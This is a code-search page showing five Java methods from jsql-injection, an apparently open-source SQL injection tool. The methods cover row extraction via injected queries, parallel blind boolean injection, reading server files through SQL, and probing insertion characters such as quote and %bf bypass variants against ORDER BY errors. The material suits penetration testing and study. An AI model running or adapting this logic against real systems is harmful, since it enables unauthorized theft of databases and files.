use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.
the class SuspendableGetRows method run.
@Override
public String run(Object... args) throws JSqlException {
String initialSQLQuery = (String) args[0];
String[] sourcePage = (String[]) args[1];
boolean isUsingLimit = (Boolean) args[2];
int numberToFind = (Integer) args[3];
AbstractElementDatabase searchName = (AbstractElementDatabase) args[4];
ThreadUtil.put(searchName, this);
String sqlQuery = initialSQLQuery.replaceAll("\\{limit\\}", MediatorModel.model().getVendor().instance().sqlLimit(0));
AbstractStrategy strategy;
// TODO Optionnal
if (MediatorModel.model().getStrategy() != null) {
strategy = MediatorModel.model().getStrategy().instance();
} else {
return "";
}
/*
* As we know the expected number of rows (numberToFind), then it stops injection if all rows are found,
* keep track of rows we have reached (limitSQLResult) and use these to skip entire rows,
* keep track of characters we have reached (startPosition) and use these to skip characters,
*/
StringBuilder slidingWindowAllRows = new StringBuilder();
String partOldRow = "";
StringBuilder slidingWindowCurrentRow = new StringBuilder();
int sqlLimit = 0;
int charPositionInCurrentRow = 1;
int infiniteLoop = 0;
while (true) {
if (this.isSuspended()) {
StoppedByUserSlidingException e = new StoppedByUserSlidingException();
e.setSlidingWindowAllRows(slidingWindowAllRows.toString());
e.setSlidingWindowCurrentRows(slidingWindowCurrentRow.toString());
throw e;
} else if (strategy == null) {
// Fix #1905 : NullPointerException on injectionStrategy.inject()
throw new InjectionFailureException("Undefined startegy");
}
sourcePage[0] = strategy.inject(sqlQuery, Integer.toString(charPositionInCurrentRow), this);
/**
* After ${LEAD} tag, gets characters between 1 and maxPerf
* performanceQuery() gets 65536 characters or less
* ${LEAD}blahblah1337 ] : end or limit+1
* ${LEAD}blahblah blah] : continue substr()
*/
// Parse all the data we have retrieved
Matcher regexAtLeastOneRow;
try {
regexAtLeastOneRow = Pattern.compile("(?s)" + LEAD + "(?i)(.{1," + strategy.getPerformanceLength() + "})").matcher(sourcePage[0]);
} catch (PatternSyntaxException e) {
// Fix #35382 : PatternSyntaxException null on SQLi(.{1,null})
throw new InjectionFailureException("Row parsing failed using capacity", e);
}
// TODO: prevent to find the last line directly: MODE + LEAD + .* + TRAIL_RGX
// It creates extra query which can be endless if not nullified
Matcher regexEndOfLine = Pattern.compile("(?s)" + LEAD + "(?i)" + TRAIL_RGX).matcher(sourcePage[0]);
if (regexEndOfLine.find() && isUsingLimit && !"".equals(slidingWindowAllRows.toString())) {
// Update the view only if there are value to find, and if it's not the root (empty tree)
if (numberToFind > 0 && searchName != null) {
Request request = new Request();
request.setMessage(Interaction.UPDATE_PROGRESS);
request.setParameters(searchName, numberToFind);
MediatorModel.model().sendToViews(request);
}
break;
}
/*
* Ending condition:
* One row could be very long, longer than the database can provide
* TODO Need verification
*/
if (!regexAtLeastOneRow.find() && isUsingLimit && !"".equals(slidingWindowAllRows.toString())) {
// Update the view only if there are value to find, and if it's not the root (empty tree)
if (numberToFind > 0 && searchName != null) {
Request request = new Request();
request.setMessage(Interaction.UPDATE_PROGRESS);
request.setParameters(searchName, numberToFind);
MediatorModel.model().sendToViews(request);
}
break;
}
// Fix #40947: OutOfMemoryError on append()
try {
if (partOldRow.equals(regexAtLeastOneRow.group(1))) {
infiniteLoop++;
if (infiniteLoop >= 20) {
SlidingException e = new LoopDetectedSlidingException();
e.setSlidingWindowAllRows(slidingWindowAllRows.toString());
e.setSlidingWindowCurrentRows(slidingWindowCurrentRow.toString());
throw e;
}
}
partOldRow = regexAtLeastOneRow.group(1);
slidingWindowCurrentRow.append(regexAtLeastOneRow.group(1));
Request request = new Request();
request.setMessage(Interaction.MESSAGE_CHUNK);
request.setParameters(Pattern.compile(MODE + TRAIL_RGX + ".*").matcher(regexAtLeastOneRow.group(1)).replaceAll("").replaceAll("\\n", "\\\\\\n").replaceAll("\\r", "\\\\\\r").replaceAll("\\t", "\\\\\\t"));
MediatorModel.model().sendToViews(request);
} catch (IllegalStateException | OutOfMemoryError e) {
// if it's not the root (empty tree)
if (searchName != null) {
Request request = new Request();
request.setMessage(Interaction.END_PROGRESS);
request.setParameters(searchName);
MediatorModel.model().sendToViews(request);
}
StringBuilder messageError = new StringBuilder("Fetching fails: no data to parse");
if (searchName != null) {
messageError.append(" for " + StringUtil.detectUtf8(searchName.toString()));
}
if (searchName instanceof Table && searchName.getChildCount() > 0) {
messageError.append(", if possible retry with one column selected only");
}
throw new InjectionFailureException(messageError.toString(), e);
}
/*
* Check how many rows we have collected from the beginning of that chunk
*/
regexAtLeastOneRow = Pattern.compile(MODE + "(" + ENCLOSE_VALUE_RGX + "([^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?)" + SEPARATOR_QTE_RGX + "([^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?)(\\x08)?" + ENCLOSE_VALUE_RGX + ")").matcher(slidingWindowCurrentRow);
int nbCompleteLine = 0;
while (regexAtLeastOneRow.find()) {
nbCompleteLine++;
}
/*
* Inform the view about the progression
*/
if (isUsingLimit && numberToFind > 0 && searchName != null) {
Request request = new Request();
request.setMessage(Interaction.UPDATE_PROGRESS);
request.setParameters(searchName, sqlLimit + nbCompleteLine);
MediatorModel.model().sendToViews(request);
}
/* Design Pattern: State? */
if (nbCompleteLine > 0 || slidingWindowCurrentRow.toString().matches("(?s).*" + TRAIL_RGX + ".*")) {
/*
* Remove everything after our result
* => hhxxxxxxxxjj00hhgghh...h |-> iLQSjunk
*/
String currentRow = slidingWindowCurrentRow.toString();
slidingWindowCurrentRow.setLength(0);
slidingWindowCurrentRow.append(Pattern.compile(MODE + TRAIL_RGX + ".*").matcher(currentRow).replaceAll(""));
slidingWindowAllRows.append(slidingWindowCurrentRow.toString());
if (isUsingLimit) {
/*
* Remove everything not properly attached to the last row:
* 1. very start of a new row: XXXXXhhg[ghh]$
* 2. very end of the last row: XXXXX[jj00]$
*/
String allRowsLimit = slidingWindowAllRows.toString();
slidingWindowAllRows.setLength(0);
slidingWindowAllRows.append(Pattern.compile(MODE + "(" + SEPARATOR_CELL_RGX + ENCLOSE_VALUE_RGX + "|" + SEPARATOR_QTE_RGX + "\\d*" + ")$").matcher(allRowsLimit).replaceAll(""));
String currentRowLimit = slidingWindowCurrentRow.toString();
slidingWindowCurrentRow.setLength(0);
slidingWindowCurrentRow.append(Pattern.compile(MODE + "(" + SEPARATOR_CELL_RGX + ENCLOSE_VALUE_RGX + "|" + SEPARATOR_QTE_RGX + "\\d*" + ")$").matcher(currentRowLimit).replaceAll(""));
/*
* Check either if there is more than 1 row and if there is less than 1 complete row
*/
regexAtLeastOneRow = Pattern.compile(MODE + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]" + ENCLOSE_VALUE_RGX + SEPARATOR_CELL_RGX + ENCLOSE_VALUE_RGX + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]+?$").matcher(slidingWindowCurrentRow);
Matcher regexRowIncomplete = Pattern.compile(MODE + ENCLOSE_VALUE_RGX + "[^\\x01-\\x03\\x05-\\x09\\x0B-\\x0C\\x0E-\\x1F]+?$").matcher(slidingWindowCurrentRow);
/*
* If there is more than 1 row, delete the last incomplete one in order to restart properly from it at the next loop,
* else if there is 1 row but incomplete, mark it as cut with the letter c
*/
if (regexAtLeastOneRow.find()) {
String allLine = slidingWindowAllRows.toString();
slidingWindowAllRows.setLength(0);
slidingWindowAllRows.append(Pattern.compile(MODE + ENCLOSE_VALUE_RGX + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]+?$").matcher(allLine).replaceAll(""));
} else if (regexRowIncomplete.find()) {
slidingWindowAllRows.append(StringUtil.hexstr("05") + "1" + StringUtil.hexstr("0804"));
}
/*
* Check how many rows we have collected from the very beginning of the query,
* then skip every rows we have already found via LIMIT
*/
regexAtLeastOneRow = /*
* Regex \\x{08}? not supported on Kali
* => \\x08? seems ok though
*/
Pattern.compile(MODE + "(" + ENCLOSE_VALUE_RGX + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?" + SEPARATOR_QTE_RGX + "[^\\x01-\\x09\\x0B-\\x0C\\x0E-\\x1F]*?\\x08?" + ENCLOSE_VALUE_RGX + ")").matcher(slidingWindowAllRows);
nbCompleteLine = 0;
while (regexAtLeastOneRow.find()) {
nbCompleteLine++;
}
sqlLimit = nbCompleteLine;
// Inform the view about the progression
if (numberToFind > 0 && searchName != null) {
Request request = new Request();
request.setMessage(Interaction.UPDATE_PROGRESS);
request.setParameters(searchName, sqlLimit);
MediatorModel.model().sendToViews(request);
}
/*
* Ending condition: every expected rows have been retrieved.
* Inform the view about the progression
*/
if (sqlLimit == numberToFind) {
if (numberToFind > 0 && searchName != null) {
Request request = new Request();
request.setMessage(Interaction.UPDATE_PROGRESS);
request.setParameters(searchName, numberToFind);
MediatorModel.model().sendToViews(request);
}
break;
}
/*
* Add the LIMIT statement to the next SQL query and reset variables.
* Put the character cursor to the beginning of the line, and reset the result of the current query
*/
sqlQuery = Pattern.compile(MODE + "\\{limit\\}").matcher(initialSQLQuery).replaceAll(MediatorModel.model().getVendor().instance().sqlLimit(sqlLimit));
slidingWindowCurrentRow.setLength(0);
} else {
// Inform the view about the progression
if (numberToFind > 0 && searchName != null) {
Request request = new Request();
request.setMessage(Interaction.UPDATE_PROGRESS);
request.setParameters(searchName, numberToFind);
MediatorModel.model().sendToViews(request);
}
break;
}
}
charPositionInCurrentRow = slidingWindowCurrentRow.length() + 1;
}
ThreadUtil.remove(searchName);
return slidingWindowAllRows.toString();
}
use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.
the class AbstractInjectionBoolean method inject.
/**
* Process the whole blind injection, character by character, bit by bit.
* @param inj SQL query
* @param suspendable Action a user can stop
* @return Final string: SQLiABCDEF...
* @throws StoppedByUserSlidingException
*/
public String inject(String inj, AbstractSuspendable<String> suspendable) throws StoppedByUserSlidingException {
/**
* List of the characters, each one represented by an array of 8 bits
* e.g SQLi: bytes[0] => 01010011:S, bytes[1] => 01010001:Q ...
*/
List<char[]> bytes = new ArrayList<>();
// Cursor for current character position
int indexCharacter = 0;
// Parallelize the URL requests
ExecutorService taskExecutor = Executors.newFixedThreadPool(150, new ThreadFactoryCallable("CallableAbstractBlind"));
CompletionService<T> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
// Send the first binary question: is the SQL result empty?
taskCompletionService.submit(this.getCallable(inj, 0, IS_TESTING_LENGTH));
// Increment the number of active tasks
int submittedTasks = 1;
int countAsciiCode255 = 0;
/*
* Process the job until there is no more active task,
* in other word until all HTTP requests are done
*/
while (submittedTasks > 0) {
if (suspendable.isSuspended()) {
taskExecutor.shutdown();
// Await for termination
boolean isTerminated = false;
try {
isTerminated = taskExecutor.awaitTermination(0, TimeUnit.SECONDS);
} catch (InterruptedException e) {
LOGGER.error(e.getMessage(), e);
Thread.currentThread().interrupt();
}
if (!isTerminated) {
// awaitTermination timed out, interrupt everything
taskExecutor.shutdownNow();
}
// TODO Get current progress and display
StoppedByUserSlidingException e = new StoppedByUserSlidingException();
StringBuilder result = new StringBuilder();
for (char[] c : bytes) {
try {
int charCode = Integer.parseInt(new String(c), 2);
String str = Character.toString((char) charCode);
result.append(str);
} catch (NumberFormatException err) {
// Byte string not fully constructed : 0x1x010x
// Ignore
}
}
e.setSlidingWindowAllRows(result.toString());
throw e;
}
try {
// The URL call is done, bring back the finished task
T currentCallable = taskCompletionService.take().get();
// One task has just ended, decrease active tasks by 1
submittedTasks--;
/*
* If SQL result is not empty, then add a new unknown character,
* and define a new array of 8 undefined bit.
* Then add a new length verification, and all 8 bits
* requests for that new character.
*/
if (currentCallable.isTestingLength()) {
if (currentCallable.isTrue()) {
indexCharacter++;
// New undefined bits of the next character
bytes.add(new char[] { 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x' });
// Test if it's the end of the line
taskCompletionService.submit(this.getCallable(inj, indexCharacter, IS_TESTING_LENGTH));
// Test the 8 bits for the next character, save its position and current bit for later
for (int bit : new int[] { 1, 2, 4, 8, 16, 32, 64, 128 }) {
taskCompletionService.submit(this.getCallable(inj, indexCharacter, bit));
}
// Add all 9 new tasks
submittedTasks += 9;
}
/*
* Process the url that has just checked a bit,
* Retrieve the bits for that character, and
* change the bit from undefined to 0 or 1
*/
} else {
// The bits linked to the url
char[] codeAsciiInBinary = bytes.get(currentCallable.getCurrentIndex() - 1);
// Define the bit
codeAsciiInBinary[(int) (8 - (Math.log(2) + Math.log(currentCallable.getCurrentBit())) / Math.log(2))] = currentCallable.isTrue() ? '1' : '0';
/*
* Inform the View if a array of bits is complete, else nothing #Need fix
*/
try {
int codeAscii = Integer.parseInt(new String(codeAsciiInBinary), 2);
String charText = Character.toString((char) codeAscii);
if (codeAscii == 255 || codeAscii == 0) {
if (submittedTasks != 0 && countAsciiCode255 > 9 && (countAsciiCode255 * 100 / submittedTasks) > 50) {
LOGGER.warn("Boolean false positives spotted, stopping...");
break;
}
countAsciiCode255++;
}
Request interaction = new Request();
interaction.setMessage(Interaction.MESSAGE_BINARY);
interaction.setParameters(new String(codeAsciiInBinary) + "=" + charText.replaceAll("\\n", "\\\\\\n").replaceAll("\\r", "\\\\\\r").replaceAll("\\t", "\\\\\\t"));
MediatorModel.model().sendToViews(interaction);
} catch (NumberFormatException err) {
// Byte string not fully constructed : 0x1x010x
// Ignore
}
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error(e.getMessage(), e);
}
}
// End the job
try {
taskExecutor.shutdown();
taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
} catch (InterruptedException e) {
LOGGER.error(e.getMessage(), e);
Thread.currentThread().interrupt();
}
// Build the complete final string from array of bits
StringBuilder result = new StringBuilder();
for (char[] c : bytes) {
try {
int charCode = Integer.parseInt(new String(c), 2);
String str = Character.toString((char) charCode);
result.append(str);
} catch (NumberFormatException err) {
// In case of too much False positives
// Byte string not fully constructed : 0x1x010x
// Ignore
}
}
return result.toString();
}
use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.
the class CallableFile method call.
/**
* Read a file on the server using SQL injection.
* Get partial result if user interrupts the process.
*/
@Override
public CallableFile call() throws Exception {
String[] sourcePage = { "" };
String resultToParse = "";
try {
resultToParse = this.suspendableReadFile.run(MediatorModel.model().getVendor().instance().sqlFileRead(this.pathFile), sourcePage, false, 1, null);
} catch (InjectionFailureException e) {
// Usually thrown if File does not exist
// Ignore
IgnoreMessageException exceptionIgnored = new IgnoreMessageException(e);
LOGGER.trace(exceptionIgnored, exceptionIgnored);
} catch (StoppedByUserSlidingException e) {
// Get partial source
if (!"".equals(e.getSlidingWindowAllRows())) {
resultToParse = e.getSlidingWindowAllRows();
} else if (!"".equals(e.getSlidingWindowCurrentRows())) {
resultToParse = e.getSlidingWindowCurrentRows();
}
// Ignore
IgnoreMessageException exceptionIgnored = new IgnoreMessageException(e);
LOGGER.trace(exceptionIgnored, exceptionIgnored);
}
this.sourceFile = resultToParse;
return this;
}
use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.
the class SuspendableGetCharInsertion method run.
/**
*/
@SuppressWarnings("unchecked")
@Override
public String run(Object... args) throws JSqlException {
String characterInsertionByUser = (String) args[0];
SimpleEntry<String, String> parameterToInject = (SimpleEntry<String, String>) args[1];
boolean isJson = (boolean) args[2];
// Parallelize the search and let the user stops the process if needed.
// SQL: force a wrong ORDER BY clause with an inexistent column, order by 1337,
// and check if a correct error message is sent back by the server:
// Unknown column '1337' in 'order clause'
// or supplied argument is not a valid MySQL result resource
ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetInsertionCharacter"));
CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
List<String> charactersInsertion = new ArrayList<>();
for (String prefix : new String[] { "-1", "0", "1", "" }) {
for (String suffix : new String[] { "*", "*'", "'*'", "*\"", "\"*\"", "*%bf'", "%bf'*%bf'", "*%bf\"", "%bf\"*%bf\"" }) {
for (String suffix2 : new String[] { "", ")", "))" }) {
charactersInsertion.add(suffix.replace("*", prefix) + suffix2);
}
}
}
for (String insertionCharacter : charactersInsertion) {
taskCompletionService.submit(new CallablePageSource(insertionCharacter + " " + MediatorModel.model().getVendor().instance().sqlOrderBy(), insertionCharacter));
}
String characterInsertion = null;
int total = charactersInsertion.size();
while (0 < total) {
if (this.isSuspended()) {
throw new StoppedByUserSlidingException();
}
try {
CallablePageSource currentCallable = taskCompletionService.take().get();
total--;
String pageSource = currentCallable.getContent();
if (// the correct character: mysql
Pattern.compile(".*Unknown column '1337' in 'order clause'.*", Pattern.DOTALL).matcher(pageSource).matches() || Pattern.compile(".*supplied argument is not a valid MySQL result resource.*", Pattern.DOTALL).matcher(pageSource).matches() || // the correct character: postgresql
Pattern.compile(".*ORDER BY position 1337 is not in select list.*", Pattern.DOTALL).matcher(pageSource).matches()) {
characterInsertion = currentCallable.getInsertionCharacter();
break;
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while defining character injection", e);
}
}
if (characterInsertion == null) {
if ("".equals(characterInsertionByUser) || characterInsertionByUser == null || "*".equals(characterInsertionByUser)) {
characterInsertion = "1";
} else {
characterInsertion = characterInsertionByUser;
}
LOGGER.warn("No character insertion activates ORDER BY error, forcing to [" + characterInsertion.replace(InjectionModel.STAR, "") + "]");
} else if (!characterInsertionByUser.replace(InjectionModel.STAR, "").equals(characterInsertion)) {
String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, "");
LOGGER.debug("Found character insertion [" + characterInsertion + "] in place of [" + characterInsertionByUserFormat + "] to detect error on ORDER BY");
LOGGER.trace("Add manually the character * like [" + characterInsertionByUserFormat + "*] to force the value [" + characterInsertionByUserFormat + "]");
}
if (!isJson) {
characterInsertion = characterInsertion.replace(InjectionModel.STAR, "") + InjectionModel.STAR;
}
parameterToInject.setValue(characterInsertion);
// TODO optional
return characterInsertion;
}
use of com.jsql.model.exception.StoppedByUserSlidingException in project jsql-injection by ron190.
the class SuspendableGetIndexes method run.
/**
*/
@Override
public String run(Object... args) throws JSqlException {
// Parallelize the search
ExecutorService taskExecutor = Executors.newCachedThreadPool(new ThreadFactoryCallable("CallableGetIndexes"));
CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
boolean isRequestFound = false;
String initialQuery = "";
int nbIndex;
// pages that display our own url in the source
for (nbIndex = 1; nbIndex <= 10; nbIndex++) {
taskCompletionService.submit(new CallablePageSource(MediatorModel.model().getVendor().instance().sqlIndices(nbIndex)));
}
try {
// Start from 10 to 100 requests
while (!isRequestFound && nbIndex <= 100) {
if (this.isSuspended()) {
throw new StoppedByUserSlidingException();
}
CallablePageSource currentCallable = taskCompletionService.take().get();
// Found a correct mark 1337[index]7331 in the source
if (Pattern.compile("(?s).*1337\\d+7331.*").matcher(currentCallable.getContent()).matches()) {
MediatorModel.model().setSrcSuccess(currentCallable.getContent());
initialQuery = currentCallable.getUrl().replaceAll("0%2b1", "1");
isRequestFound = true;
} else {
// Else add a new index
taskCompletionService.submit(new CallablePageSource(MediatorModel.model().getVendor().instance().sqlIndices(nbIndex)));
nbIndex++;
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(15, TimeUnit.SECONDS);
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while determining injection indexes", e);
}
if (isRequestFound) {
return initialQuery.replaceAll("\\+\\+union\\+select\\+.*?--\\+$", "+");
}
// TODO optional
return "";
}
Aggregations